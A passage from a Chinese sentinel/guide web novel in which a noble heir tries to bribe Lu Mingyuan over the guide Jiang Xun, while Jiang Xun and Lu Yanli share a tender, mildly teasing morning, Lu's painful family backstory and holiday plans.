拨通通讯的同时，伊莱脸上已经换上了一副彬彬有礼的微笑，对着全息屏幕上显现出来的那道人影含笑寒暄：“陆世伯，新年安康。希望没有打扰到您与家人的团聚。此次冒昧联系，是因为最近听闻……府上似乎有了一些烦心之事？或许，我们可以聊一聊？” 此言一出，通讯那边陆明远脸上原本还挂着的些许社交微笑，顿时烟消云散。他眼睛一眯，目光锐利地向着通讯的另一端直射过来。 世家之间互相埋钉子、插眼线是所有人都心照不宣的事，可就这么直白地把这种伎俩摆上台面的却少之又少。 更何况，从明面上来说，陆明远可比伊莱还高出一辈，就这么被他毫不客气地点出家族内部的问题，顿时令向来重视世家颜面的陆明远心中一阵不愉。 但对方是凡纳家的未来继承人，不是寻常晚辈可比，即便就这样被他欺到脸面上来，陆明远也不能公然与其交恶。只是脸上的表情难免阴沉了下来，下颌线也紧紧绷起，沉声说道：“凡纳少爷似乎管得有些太宽了，我最近并无什么烦心事，就算是有了，也是我们陆家自家的事，用不着外人插手，我自能解决。” 伊莱见状微微一笑，并不与其争论，也不绕圈子，便直入正题：“世伯，我与陆少将同为联盟S级哨兵，最是理解他的心高气傲。可我作为凡纳家继承人，也着实为您如今的境况担忧呐。您说，一个家族要培养出一位S级哨兵有多不容易，您真的愿意就这么眼睁睁看着自家辛苦栽培出来的中流砥柱，就这么失去控制吗？” 伊莱这一番话，正中陆明远心事。 自陆厌离能力觉醒入伍以来，这些年来，不知为家族带来了多少或明或暗的利益。原本之前他还以为这枚好用的棋子就要不得不废弃了，谁知峰回路转，又让他活了过来。那时他还以为是天佑陆氏，合该陆家借此踏上那个台阶，跻身成为联盟第四大家族，可陆厌离回来之后，却一反常态地把心思全然放在了一个突然冒出来的向导身上。直至如今，自己都已经看在那个向导是S级的份上，同意他把对方带回家族了，却还是被陆厌离置若罔闻，竟然好似真要完全脱离家族了一般。 伊莱看着陆明远脸上变幻的神色，露出一个了然的微笑，身子微微前倾，直视着对方的双眼循循善诱道：“世伯，想必您也知道陆少将频频违逆您的原因吧？您看，既然这个向导始终不曾帮助陆家，反倒一直在妨碍您，甚至有带着陆少将脱离家族的意图。您为什么还要放任他就这么成长下去呢？与其让他不断破坏陆少将与您之间的关系，不如……我们来做个交易？” 陆明远闻言，眼神略动了动。 伊莱没有错过这点异样，再接再厉抛出了诱饵：“您看，既然您得不到他们两人的归顺，不如……您帮我个忙？只要您能出手，帮我得到这个向导，我愿意代表凡纳家承诺，在接下来的三个星历标准年内，在中央星系之内，关于矿产星的开发、几条重要贸易航线与军部药物采购的议案上，凡纳家都会站在陆家这边，给予陆家最大程度上的资源倾斜与支持。并且我以上所说的这些，都可以与您订立正式的协议条款，您看怎么样？” 听到伊莱说到这里，陆明远的眼神终于彻底动容了起来。可与此同时，浓浓的怀疑也从心间油然而生。 不是因为这样的条件不够优渥，而是太好了，好到完全超出了他的预期。这让他不禁在心中认真掂量了起来。 这个向导，有这么重要吗？ 自从前阵子，联盟爆出出现了当今第三位S级向导以来，所有人都对这个神秘的向导趋之若鹜。陆明远刚刚听说这个消息时，也对这个传说中的平民向导产生了一些兴趣。 可自从发现这个向导，就是陆厌离一直在寻找的那个“野路子向导”之后，他对这个人的重视程度就直线下降了下去。 也许是因为他本身没有任何哨兵向导的资质，却凭借着普通人的身份打败了其他所有的兄弟姐妹，将陆家牢牢抓在了手里。他并不像这个社会上的大多数人那般，如此看重所谓的高等级哨向。 在他的固有认知里，所谓的哨兵向导，和所有的其他资源一样，都是可以用来利用的工具。特别是那种出身平民的哨兵向导，更是实惠而廉价的高效资源。 这类人，往往会为了获得一个世家的身份，脱离他的原生环境，什么都愿意付出。无关他们的哨向等级，越是出生在底层的人，越是如此。 因此，他对于这个名叫“江寻”的向导也是一样的看法。早在他刚刚从陆厌离口中听说了这个人的存在时，就已经在心中为他定了性。 他一直认为，对方一定是利用了各种手段才死死缠上了陆厌离，为的就是通过陆厌离进入陆家，一步登天跻身上流。所以，当他放出愿意让其进入陆家的消息时，他心中笃定，这样一来，这个向导一定会动心，继而带着陆厌离一起回归家族，两人一同为家族效力。而他也决定，如果对方足够听话的话，他也可以为江寻提供他所想要的一切世家尊荣。 可现在，连凡纳家这位向来眼高于顶的未来继承人都如此重视这个向导，甚至不惜给自己开出如此优厚的条件，只为让自己帮助他得到那个人？ 这说明什么？这说明对方已经通过正常的途径与这个向导有过接触，却被对方拒绝了！伊莱这个凡纳家继承人的手段他很清楚，向来喜欢直接用实力碾压，用庞大的资源金钱去诱惑。而这一次，他竟然都跑来找自己在背后出手了，这又说明什么？这说明，对方的拒绝，恐怕还不止是一两次！ 陆明远从未看轻过自己的家族，可他也对陆家和凡纳家之间的差距心知肚明。连伊莱·凡纳都打动不了这个江寻，那对方的目的，真的像自己一直以来所想的那样，是想要跻身世家吗？ 陆明远心中产生疑惑的同时，顿时警觉起来。 一个S级向导，对于那些战斗频繁、濒临堕化的哨兵来说当然重要。可对于伊莱这种根本不必上战场的世家哨兵来说，实际的作用根本不大。一个匹配度足够的A级向导，甚至仅仅是一个能进入精神图景的B级向导，就已经足以满足他的疏导需求，他为什么要付出这么大的代价，甚至在背后暗中出手，只为得到一个他并不那么需要的人？ 陆明远心念电转，一个答案浮现在心中——这个叫做江寻的向导身上，一定还有什么他尚且不知道的特殊价值！ 心中思绪翻涌着，可陆明远面上却不动声色，甚至流露出了一副父亲对叛逆儿子的无奈与妥协：“伊莱贤侄，你提出的条件的确很诱人。但是，陆厌离他毕竟是我的儿子，与我血脉相连，更是与陆家有着脱也脱不开的千丝万缕的联系，他怎么可能真的脱离陆家？只不过是年轻人与我们这样的老人家在一些事情的处理上，有了些分歧，一时意气用事罢了，我年轻的时候也经历过这样的阶段，我能理解。” “至于那位江寻向导……”他刻意停顿了一下，观察伊莱神色，却从他脸上看不出任何异样，才继续强调道，“他可是S级向导，联盟现如今仅有的三位S级向导之一！他愿意和我儿子在一起，成为我陆家的一份子，我身为家主，高兴还来不及，又怎么会反而把他往外推，去帮着外人拆散他们小两口呢？” 伊莱听着陆明远这番冠冕堂皇的说辞，心中顿时一沉。他知道，是自己刚才提出的优厚条件，暴露了他的急切心思，反而引起了这个老狐狸的疑心。若是现在再次提高筹码，只会让对方确信江寻身上潜藏着巨大的价值，更加不肯放手。今天的计划，恐怕是不能进行下去了。 心念及此，他迅速调整了策略，脸上丝毫没有因为陆明远的拒绝露出半点异色，只是不好意思地解释道：“世伯爱护家人的心意，令人动容。或许您不知道，这位江寻向导，与我的匹配度非常高。我想要他，一是因为我个人私下里十分喜欢他，想要在与其结合以后获得更极致的体验。二也是因为他S级的身份，能让我这个继承人的位子坐得更加稳妥一些。您知道的，虽然我是家中的第一继承人，但底下盼着我犯错的人也不少，无法与伯父您这般已经将家族大权完全握入手中的家主相比。” 话音未落，他却又话锋一转：“世伯想为家族再添一位S级向导的想法无可厚非。可据我所知，这位江寻向导，可不是个愿意为人所用的人物。您若是继续这么放任下去，最后是喜获助力，还是凭白损失一员大将，可是说不好的事。” 他放松身体，靠回椅背，重新恢复了开始时那副从容不迫的姿态，但话里所蕴含的压力却丝毫未减：“世伯不妨好好考虑考虑我的提议。若是改了念头，可以随时再来联系我。刚才我给出的条件，如果您仍是不满意，那在一定限度之内，我们还可以……再商量。” 他再次放下一个诱人的饵，却又不忘敲打：“不过，世伯也要注意，时间可是不等人的。据我所知，陆少将与这位江寻向导的感情已经十分深厚了，不然他也不会为了这个人，与您产生这么大的分歧，不是吗？” 他笑着沿用了陆明远的措辞，此刻却是在陆明远心中刺了一记：“这两个人，随时可能完成彻底的结合绑定，到了那时，恐怕陆少将就更加听对方的话了。而一个已经被人绑定的S级向导，价值虽然依旧巨大，但对我来说，便不值得再付出这么大的代价了。还请世伯，在一切尘埃落定之前，早做决断。” 这句话说完，伊莱果断地切断了通讯。 光屏暗下去的瞬间，他的脸色也微沉了下来。 如今，这个老狐狸已经起了疑心，若是被他发现自己真正的目的，恐怕事情就会变得有些棘手了。 而另一边，陆明远坐在书房里，面色平静，眼中却精光闪烁。 从今天起，江寻在他心中的份量，恐怕需要重新评估了。 他必须好好查清楚，这个人身上，究竟藏着什么不为人知的价值！—— 作者有话说：抽空推一下剧情[托腮] 第213章 午后的阳光透过窗帘洒在床脚， 将蓬松的软被映照得一片暖洋洋。 陆厌离眼皮微动，在温暖的被窝里打了个小小的哈欠，伸了伸懒腰， 这才从饱足的回笼觉中悠悠转醒。意识还未完全清醒过来，就感觉屁股上痒痒的，一个温热有力的力道在上面不停来回摩挲。 这个异样的触感瞬间便令他浑身一个激灵，下意识身子向前躲过去， 这一动， 却正好把自己送入了侧躺在身前那人的怀抱里。 随即， 一只手掌覆上他的肩头，一个轻笑声在他耳边响了起来。 室内昏暗的光线下， 江寻屈起被他枕在颈下的手臂，揽住他的肩膀，另一只手， 仍在有一下没一下地在他身后丰盈的软肉上轻轻抚弄着。看着陆厌离的眼神带着笑意， 神态清明，显然已经醒来很久。 “你……你一直没睡？”陆厌离彻底清醒过来，脸颊瞬间飞红， 话音未落， 又被身后那一下抚摸， 激得瞬间打了个哆嗦， 忙不迭地伸手抓住了江寻的手腕， 试图制止他的骚扰。 “啊， 看得太入迷了， 没舍得睡。”江寻低声调笑，没有用力挣脱他抓着自己的双手，而是手腕一转， 勾住他的手掌，指尖在他掌心暧昧地画了几个圈。 陆厌离被这一下搔得耳根更红，下意识合拢手掌抓住了他作怪的手指，却又被江寻就势托起他的手背，凑到唇边亲了亲。 陆厌离睁大眼睛看着江寻这一连串的动作，不明白同样是初次经历这样的事，怎么江寻却能这么快就进入了状态，举手投足之间还显得这么熟练。 刚一醒来就被对方撩动得心旌摇曳，陆厌离心中大感不妙，看着江寻深深看过来的眸子，猛地推了他一把，从他手上挣脱开来，裹着被子一卷就滚到了床的另一边，扭过头去控诉道：“别逗我了，都中午了，我要穿衣服起床。” 江寻看着如临大敌般远远躲开自己的那一团，惋惜地叹了口气，从善如流地起身，去衣帽间里给他拿来了干净衣物，坐在床边笑眯眯地招了招手诱哄：“给你拿来了，过来穿衣服呀。” “不用，你递给我就行。”陆厌离整个人缩在被子里，只伸出一只光裸的胳膊去接。 江寻看着他这般避嫌的模样，忍不住笑出声来，打趣道：“之前在我面前光明正大变换身形的时候，可没见你这么害羞啊，怎么这会儿都让我看过摸过了，反而……” “啊！你闭嘴！”陆厌离羞愤地惊叫出声，打断了江寻继续说出的虎狼之词，整个人裹着被子猛地扑过来，一把从他手中把衣服抢了过去，还不忘从被窝底下伸出一只脚来，泄愤似地在江寻紧实的大腿上蹬了一下。 江寻眼底笑意更深，眼疾手快地握住那只干完了坏事就想逃跑的脚丫，拉到自己唇边，伴着耳边清脆的铃响，在小腿上重重亲了一口。听到被子里再次传出的惊叫声，终于不再逗他，松手放任那条小腿“嗖”地一下缩了回去。 这一下，陆厌离是彻底不敢露头了，整个人都埋进了被子里，在黑暗中摸索着窸窸窣窣地穿起衣服来。 江寻看着身边这团鼓鼓囊囊，不停蠕动着的被子，笑眯眯地撑着手肘，像是在等待着什么。 果然，没等几秒后，被角一掀，一张通红的面孔从中探了出来，仰头对着江寻羞愤地质问：“为什么只有外衣，我的……我的内裤呢？” 江寻眼中的笑意几乎要溢出来，脸上明晃晃地透出股子坏心眼，嘴上却一本正经地辩解道：“我没有找到呀，反正是在家里，家里也只有我一个人，不穿就不穿了吧。” “你……你在胡说八道什么！不就放在你的内衣旁边吗？”陆厌离一眼看穿他那毫不掩饰的坏心思，羞愤地在他腿上锤了一拳。 看他这样子，江寻终于忍不住大笑出声，低头笑眯眯地凑近，干脆连掩饰都不再掩饰了：“是呀，就是不想让你穿。” 陆厌离被他这番无赖的话惊得睁大了眼睛，不知道这人怎么一夜之间，就变得这么恶劣了：“你怎么……” “是啊，我私下里可不像你以为的那样是个正人君子，后悔了吗？”江寻依旧是那副笑眯眯的样子，可陆厌离却敏感地从这番话里，听出了一丝认真。 心中那道羞怒的火苗渐渐熄灭，陆厌离望着那双始终凝视着自己的眼睛，伸手拉过江寻的一只手掌，学着他刚才的样子，轻轻在他手背上吻了吻：“不，你什么样子我都喜欢，我不后悔。” “真的吗？我在私下里就是这样，以后也不会改。像这样的事，以后可能还会有许多，你真的不讨厌吗？你记得吧，我说过，希望我们彼此坦诚，我不想因为这些事在我们之间生出罅隙。”江寻抚上陆厌离的侧脸，神色认真起来，轻声对着自己的爱人坦诚自己的这份恶劣。 陆厌离握着江寻的双手有些轻颤，听着他的坦白，只觉得羞耻至极，可想到江寻说过的坦诚，仔细审视一番自己内心真实的想法，却发现了一件令自己更加羞耻的事。 “我……”陆厌离在江寻的注视下，低下了头，脸上露出的，却不是江寻以为的勉强与为难，而是全然的难为情，与掩藏在眼神深处那微不可察的一点点沉迷，“我不讨厌的……” 刚才抚摸着陆厌离光裸的肌肤时，江寻心中都只有无限的安宁与满足。可这会儿，看着他通红的脸颊，却觉喉间干渴，心跳轰然加速起来，紧了紧喉咙，继续确认道：“真的吗？你好好想清楚。” “嗯……”陆厌离强忍着羞窘，轻轻点了点头，“我喜欢你……作弄我，我只是……不习惯。” “那你今天一天都不准穿，还有……”江寻慢慢将手伸进被子里，摸上陆厌离的脚踝，拨弄几下那颗小铃铛，“这个也不许摘，我很喜欢。” 陆厌离轻喘一口气，脚下动了动，缩了回去，抬眼看了江寻一眼，咬住嘴唇，通红的脸庞上露出一个说不清道不明的表情来。他没有回答，而是再次缩回了被子里，在一阵窸窸窣窣与沉闷的铃响声中飞快穿好了衣服，掀开被子坐起身来。 迎着江寻在他身上扫视的充满了深意的目光，努力挺直了脊背：“……我穿好了。”话说得简单利落，一双手却不住地揪扯着床单，头也始终难为情地低着，脸上红得似要滴出血来。 江寻的心尖像是被羽毛轻轻搔过，又软又痒，一阵充溢着满足的战栗感，从心底突地窜了上来，顺着他的脊骨直达后脑，令他不可抑制地粗喘了一声。 最近，随着他与陆厌离的关系日渐亲密，他的心中总会冒出种种恶劣的念头。之前还能克制起来，可昨天一旦开了荤，就迫不及待地想要将这些想法都付诸实践。 他原本也不明白，为什么自己会突然产生这些念头，怀疑自己是不是本来就有一些奇怪的癖好。此时却忽地有了一丝明悟，也许真正令他感到兴奋满足的，并不是那些恶劣的要求本身，而是陆厌离这样一个敏感又容易害羞的人，却愿意因为他的要求，做下种种羞耻之事的这个行为。 也许这就是他骨子里真正的劣根性。可是，这种心甘情愿地，甚至带着一丝沉迷地，为了他的要求，努力克制着自己的本性也要去做到的行为，就是会令他从心底产生巨大的战栗与满足。 江寻脸上绽开一个无比满足的灿烂笑容。 伸手抚了抚陆厌离的头顶：“……非常好，那就起床下楼吃饭吧。” 即使是因为这种事得到夸赞，却依然令陆厌离忍不住露出了一个开心的微笑。 当即便掀开被子准备下床。 可脚刚刚沾到地面，还没完全站起身来，腰部和腿根处就传来一阵清晰的酸软感觉，顿时令他瞬间脱力，小小惊呼一声，向着前面软倒了过去。 江寻正站在他前方，见状立刻托住他的腰，一个使力把人捞了起来，半抱进了怀里。 陆厌离靠在他的身上，借着他揽在腰间支撑的力道走了几步，才缓解掉了那股子不适的感觉，忍不住小声地抱怨起来：“你一个向导……为什么体力比我还好……” 江寻闻言轻笑一声，带着点得意低头凑近他的耳边，呼吸间，热气拂过敏感的耳廓，又染红了一大片：“你忘了？我虽然是个S级向导，可体能也达到低级哨兵的水平了。还是在寂静星的时候，你陪着我一起训练出来的呢。” 陆厌离一楞，这才想起，当初在寂静星时，江寻还不知道哨兵与向导的区别，误把自己也当做哨兵，一直用训练舱锻炼体能的乌龙事。 沉默片刻，还是没忍住，用手肘轻轻顶了江寻一下，嗔怒道：“敢情你辛苦锻炼体能……就是为了用在这种地方……” 江寻抿嘴低笑一声，没有辩解，只是收紧了揽着人的手臂，拥着他穿好鞋子，这才下楼，向着餐厅的方向走去。 一路上，陆厌离走路的姿势都十分别扭，还每一步都伴着清脆的铃响。见他咬着唇不说话，只顾埋头往前，江寻也故作不知，只笑眯眯地搀扶着他，小心护着不让他摔跤。 见陆厌离下了楼就直奔餐椅而去，江寻却是想了想，拉着他转了个方向：“今天我们在客厅吃饭。” 陆厌离虽然不明所以，不过也不在这种小事上纠结，便跟着江寻转身。直到窝进客厅柔软的沙发里，才隐约明白了过来，软软瞪了江寻一眼，这才调整着姿势，令自己坐得更舒服一些。 江寻一笑，安置好了人，这才起身去了厨房。 眼下没有其他准备好的食材，江寻便用早餐剩余下来的材料简单烹饪一下，端上了桌。 挤进了陆厌离所在的沙发里，让他靠着自己，两人一边吃着午餐，一边漫无目的地闲聊起来，规划着接下来几天假期的安排。 早春的阳光明亮，透过落地窗洒进客厅里，将两人完全笼罩其中。在这样温软的照耀下，他们说话的声音越来越轻，姿势也越来越闲适，气氛不知不觉间变得慵懒起来。 就在两人渐渐沉浸于这种舒适的气氛中时，室内却突然响起一阵通讯请求的提示音，瞬间打破了所有静谧。 下意识地一皱眉，陆厌离向着面前的茶几上看去，发出声音的，正是自己的个人终端。当他看清屏幕上显示出来的“父亲”二字时，眉头更是瞬间蹙得更紧。 他没有去接通讯的意思，骤然冷淡下来的眉眼就这么看着通讯请求因为长时间没被接通而自动断开。 可这却不是结束，没过几秒，终端再一次响了起来。这一次，他干脆直接伸手拒绝了通讯请求。 终端安静了片刻，再次传来一道提示音，这一次，却是一条信息被传了过来。 陆厌离冷眼看着终端，最后还是抬手点开信息，可刚看了还没两句话，脸色就彻底沉了下来，甚至没把整段信息看完，便直接将终端静音，重重摔在了茶几上。刚刚还轻松惬意的好心情一扫而空。 江寻将他的反应尽收眼底，安慰地将人揽过来抱进怀里，一边抚着他的后背一边轻声问道：“是你的父亲？他说了什么？” 陆厌离闭了闭眼，在江寻的抚慰下情绪缓和下来一些：“是，他让我回家，还问了你的情况。” 江寻沉默片刻，想起之前自己刚来中央星时的事，开口道：“之前我刚到中央星的时候，就有人试图追踪抓捕我，后来我查到，就是陆家的人……” 陆厌离身体微微一僵，沉默了片刻，才带着些愧疚低声道：“……我知道，动手的，不是我父亲就是我二哥……之前我们在寂静星被袭击的事，也是出自我二哥的手笔。” 江寻眼中浮现出一丝了然，之前他就猜测，对他们不利的人，就在陆厌离身边，如今终于确定，果然如此。可他却没有责怪陆厌离的意思，拍了拍他的手臂示意自己并不介意。 陆厌离抬头看向江寻，碧绿的眸子暗沉了几分，目光中带着一丝复杂解释道：“我家里的情况……有些复杂。他们动手的目的，大概是想通过你来控制我。对不起，这些危险你本不该遭遇的。” “别这么说。”江寻紧了紧手臂，抱了陆厌离一下，“我既然选择了你，自然就接受了你所带来的一切。愿意跟我说说看吗？” 陆厌离深吸了一口气，神情之中先是有些忐忑，却在江寻始终稳定的拍抚下，渐渐平静了下来，开口向江寻讲述起那段他一直不愿多提的过往。 “全联盟都知道，我是陆家家主的三子，但是，我并不是从出生起就在陆家长大的……”陆厌离的声音低沉，带着一些连他自己也说不清的晦涩，“其实……我是父亲的私生子……” 他将自己那个不光彩的出身与进入陆家的前因后果向江寻娓娓道来。 “我的母亲，是个潜能还不错的低级哨兵，但她与其他的哨兵们都不一样，她从来都不愿意战斗训练，去提升自己的等级，却一心想要跻身世家。后来，她遇到了我的父亲……我和母亲，就这样，凭着检测出来的S级哨兵天赋，被陆明远接回了陆家。在陆家的日子，不算太好，但也不算太差。虽然家里大部分的人都不怎么喜欢我和母亲，可我毕竟是一个预备S级哨兵，除了大夫人和二哥，也没人敢在明面上为难我。特别是大哥，一直对我很好，可是后来……” 他的话语停顿了下来，似是想起了那被染成血色的一天：“……我听了别人的几句怂恿，就胆大包天地去挑战那只猛兽，结果发生了意外，我的精神力被严重刺激，不受控制地觉醒了……” 陆厌离忍不住转过身去，把脸埋进了江寻的怀里，这才继续说了下去：“……也不知我的运气算好还是不好，在刚刚觉醒时，就同时获得了罕见的特殊天赋，可也是因为这份天赋，闯下了大祸……” “当时为了从猛兽爪下救下我，我的大哥离我最近。我突然觉醒爆发精神风暴时，他也是受创最重，中毒最深的那一个……”陆厌离的眼眸中，浮现出痛苦的情绪，“即使他当时已经是一位B级哨兵了，也没能坚持多久，很快就在强烈的精神毒素下死去了……接着是前去观礼的许多家族继承人、世家子弟，还有现场的侍从女仆们……离我距离稍近的人，全部没有幸免……就连离得比较远的大夫人也中了毒，缠绵病榻一段时间后，还是去世了……” 陆厌离环在江寻腰间的手臂紧了紧，停顿了片刻，才继续道：“这都是我犯下的错，二哥恨我，他要如何报复我，都是我该受着的。我害死了他的母亲和哥哥，害死了那么多无辜的人，自己却好好活了下来……因为那次事件，许多有子弟伤亡的家族都与我们陆家交了恶，家族付出了很大的代价，才保下了我。 之后的很长一段时间里，我都无法控制住自身的毒素，连正常生活都做不到。普通人与精神力低下的哨兵向导，都无法靠近我。最后，我只能被提前送进塔中，一边接受塔中的专业训练控制自己的能力，一边为家族做事，弥补当初为了保下我而付出的巨大代价。一直到我的堕化值超过了临界点，被放逐到寂静星上……” “我以自请流放为代价，为陆家换取了最后一批资源，从那时起，我欠陆家的，就已经还清了。”陆厌离攥紧江寻后背的衣服，声音低沉，却异常清晰，“我欠二哥的，我自己受着，也会努力偿还。欠了别人的，能还的，我都会偿还给他们。已经无法报偿的，我会以终身为联盟战斗、保护民众来弥补。可除此之外，我不再欠陆家什么了，我不会再听父亲的话为了陆家继续付出，更不可能把你也牵连进去。” 他望向江寻，眼神中，有着一丝隐藏得很深的祈求与不安：“从今以后，我都不会再回归陆家了。我只属于你一个人。但是……从陆家离开后，失去了陆家三子的身份，我也就没有了背后支撑的家族资源与地位财富，我能给你的……就只有我自己了。这样……你会嫌弃我吗？” 说到最后时，他的语气艰难起来，仿佛是为自己仅有的这点筹码感到羞愧与不安。 江寻静静地听着陆厌离的讲述。他曾在调查陆厌离的背景时，从各种文献资料上，看到过这些过往。可当那些浮于纸面上的字句，化为摆在他面前的残酷现实，化为陆厌离心底深刻的伤疤时，他才惊觉，那短短几行文字，承载着多么沉重的一份愧疚。 而此刻，面前的人，正把自己内心深处最不堪、最脆弱的一道伤疤撕开，给他看个清清楚楚。 江寻心中没有丝毫对失去了世家背景、财富地位的可惜。翻涌着的，全都是对面前这个人满满的怜惜与心疼。 同时，他也为这个从小就承载了这么沉重的责任，却依然成长得如此正直又坚韧的灵魂而感到自豪。 他抬起手来，将面前这个可怜又可敬的灵魂紧紧拥入自己怀中，声音坚定地给出他的回答：“我在乎的那一个，想要共度余生的那一个，本就不是陆家的三少爷，而是陆厌离。是那个自己都濒临死亡，却还在生命的最后时间里，去保护一个陌生人的陆厌离；是那个为了保护弱者，宁愿让自己深陷险境的陆厌离；是那个鞠躬尽瘁的正直军人；是那个在无人知晓处默默努力，流血流汗的伟大战士。” 他稍稍松开怀抱，退开一些，抬手托起陆厌离的下巴，直视着他微微睁大的湿润碧眸，一字一句地说道：“也是那个会撒娇、会捣乱的调皮猫咪，是那个用尽全力在茫茫宇宙中寻找我的踪迹的哨兵，是那个爱我敬我，会为了我随口的一句话用尽全力的爱人。陆厌离，我要的，自始至终都只有你这个人，无关其他。” 江寻坚定的话语，如同一道温暖的泉水，瞬间抚平了陆厌离心中所有的不安与阴霾。这一刻，陆厌离只觉得，以往所经历的一切苦痛，似乎都得到了报偿。 他猛地扑进江寻怀里紧紧抱住他，就像是抱住了人生中最珍贵的那一道光，将心中所有复杂翻涌的情绪都融化在这一个拥抱里。眼眶湿润起来，嘴角却绽开一个充满了依赖与爱意的明媚笑容—— 作者有话说：江江心疼猫猫了[可怜] 第214章 关于陆家与过往经历的沉重话题， 不免让两人之间原本那种轻松惬意的气氛凝滞了起来。即使此刻陆厌离稍稍解开了心结，周身仍不可避免地萦绕着一股挥之不去的低落情绪。 江寻不动声色地轻拍着他的后背，用轻松的语调自然地转移话题：“不说这些了， 今天才是新年第一天呢，想想我们接下来几天假期要做些什么？好不容易有这么长时间的假期，总不能一直窝在家里浪费了。” 察觉到江寻的意图，陆厌离也顺势从他怀里起身， 将那些沉重的情绪暂时抛开， 也不去想关于陆家的事情， 顺着他的话题思考起来。 “中央星这边有没有什么有意思的庆典之类的？”江寻想了想，饶有兴致地问道。 被他这一提醒， 陆厌离碧眸顿时一亮，思索着说道：“对了，还真的有。你知道的， 每年年底的时候， 大部分登记在册的哨兵向导，都要回中央星的总部来进行年度总结，参加表彰大会， 就是之前我们参加过的星辉盛宴……” 这个宴会江寻自然知道， 他们就是在那里重逢的， 点了点头， 示意陆厌离继续往下说。 “这段时间里， 中央星上聚集的年轻哨兵向导特别多， 所以， 各种社交活动、联谊活动也特别频繁，不少人会趁着这段时间的休假，结成伴侣。因此， 通常新年过后的头几天里，会是哨向缔结誓约的高峰期，每年这个时候都会有大型的集体结合庆典举办，今年的具体时间我没有关注，不过应该就在这几天，你想去看看吗？”陆厌离看向江寻。 “集体结合庆典？就是确定互相绑定的哨兵向导们，一起举行的结合仪式吗？”江寻果然有些兴趣，向陆厌离追问道。 “对，就是这样。”陆厌离点头肯定，“哨向绑定向来都是非常值得庆祝的事，特别是这种官方组织起来的集体结合庆典，更是热闹。每次举行庆典，都是一场大型的狂欢活动，会有很多表演和各种活动，非常热闹。” “好啊，我好像还没有参加过什么庆典呢。”江寻闻言，兴致更高，这对他来说可是个新鲜事。来到星际世界之后，他从未参与过这类公共活动。 一见江寻有兴趣，陆厌离也期待了起来，马上拿起终端登录星网查询起来。很快就在网页上找到了相关信息，抬头兴奋地对江寻说道：“真巧，明天在万邦港群岛上就有一场大型的集体结合仪式。在那边举行的话，肯定还会有很多新奇活动的，我们一起去看看热闹？” 万邦港与星枢群岛、哨兵岛一样，都是中央星盖亚诺瓦上七个主要的功能特区之一，它位于星枢周边，点缀在一望无际的碧波之上，是一片相对集中的群岛地形。那里是联盟文化与外交活动的中心，汇聚了各个文明驻中央星的大使馆与各色商团，是中央星上最热闹的群岛之一。 一听庆典在万邦港这个自己还没有去过的特区上举办，江寻更加兴致勃勃了：“好啊！那我们明天一早就去，在那边玩上一整天，晚上再回来。” 陆厌离自然没有异议，期待地点头答应下来。 “不过庆典也只有一天吧，接下来还有一周时间，我们怎么安排呢……”江寻望向透过落地窗照耀进来的明媚的早春日光，心中忽然冒出个念头来，“说起来，我们还没单独出去旅行过吧？要不要趁这个机会，出去玩一玩？就我们两个？” “出去玩？”陆厌离看向江寻。 “嗯，短途旅行之类的，找个人少一些的，没人认识我们的地方。”江寻补充道。 陆厌离闻言，认真思考起来，片刻后，眼神一亮，似是想到了什么，连忙坐直身子，对江寻说道：“说起来……我名下，就有一个小型的私人度假星。虽然位置比较偏远，但是那里的自然环境很不错，有绵延的宽阔白沙滩和琉璃海，常年都是温暖的热带海洋气候，也没有其他原住民的干扰。我之前在那边简单布置过，有一栋小型的沙滩别墅，还在附近种了不少热带水果，现在这个时候，正是那里一年中最舒服的季节。” 陆厌离一开始只是忽然想起了这个地方，却越说越觉得合适，语气里不自觉地就带上了一丝期待：“那边没什么大型猛兽，浅海里还有很多漂亮的水下景观，潜水一定也很好玩。剩下的一周，我们去那里度假怎么样？” 江寻听着陆厌离的描述，脸色却是越来越古怪。度假胜地、无人海滩、还有漂亮的风景和独栋住所，这听起来……不就像是蜜月旅行一样吗？他看着还没意识到自己说了什么，仍一脸期待地望着自己的陆厌离，忍不住低头偷笑，希望他到时候别为这个决定而后悔。 他抬起头来，眼中漾开一圈温暖的笑意，对上陆厌离期待的目光，干脆应道：“这听起来很棒啊，那我们后面，就去你的这个度假星玩吧。” 重要的行程敲定下来，两人便放松了下来，继续窝在沙发里有一搭没一搭地闲聊着。 说着说着，陆厌离的目光不由自主地移到昨天他们布置出来的各色装饰上。红色的春联与灯笼，绿植院墙上缠绕着的彩灯，墙壁灯具上悬挂的闪亮挂件与小玩意儿。这些小东西，在白天看来，又有着与夜晚不同的一番热闹气息。 他的视线扫过环绕客厅大半的无边落地玻璃幕墙，幕墙之外，早春明净的天空下，清冽的浮云微风，与一片静谧而悠然的草木湖景相映成趣。看了一会儿，他忽然觉得，与庭院里、房间中热热闹闹的布置相比，这片光洁的玻璃，虽然看着通透无际，此时却显得有些空荡了。 “这玻璃上……好像有点单调了……”陆厌离轻声喃喃道。 正在终端上翻看着度假须知的江寻，闻言抬起头来，顺着陆厌离的目光看了过去，见到那片光秃秃的玻璃幕墙时，也若有所思地点了点头：“是有点空了……其实在我家乡的习俗里，这样的玻璃窗上，通常会贴上一些‘窗花’作为装饰的，不过……”他有些不好意思地笑了笑，少有地承认了自己的不足，“剪窗花有点难，已经算是一种民间艺术了，那些复杂的图案，我不会做……我只会剪一种最简单的。” “连你都不会吗？是什么样子的？”陆厌离立刻来了兴致，目光中充满了好奇，“最简单的也行呀，是怎么做的？” “唔……其实就是一种剪纸，和春联一样，一般是用红纸剪出来的。”江寻一边回忆着剪纸的做法，一边说道。 “那不是挺简单的吗？”陆厌离立刻翻身下了沙发，“啪嗒啪嗒”跑进储物间里，找出昨天剩下的红纸和剪刀，抱出来放在茶几上，“剪给我看看呗？” 江寻看着他期待的模样，笑着接过被推到自己面前的红卡纸和剪刀，思索了一下，灵巧地取出一张红纸，裁剪成方形，又折叠几下，然后拿起剪刀，在指间的纸页中穿梭起来。 片片碎纸片如花朵般翩然落地，窗花在剪刀的飞舞下渐渐成型。不过片刻，他端详了一下手中的成果，放下剪刀，在茶几上将剪好的窗花铺展开来。 一个线条简洁的对称图案出现在陆厌离眼前——是一个充满了喜庆韵味的“囍”字。 “这就是窗花吗？好厉害！”陆厌离伸手在这个“囍”字上抚摸着，来回折叠翻看着这个红字，发出低低的惊叹。 江寻为他这副惊奇的模样失笑，明明只是个最简单的剪纸而已。怎么到了他的口却，就变成了什么值得赞叹的东西？ 那边陆厌离还举着那个简单的“囍”字来回端详，又几步走到玻璃幕墙前，比划着将它按在一片光洁的玻璃中央。 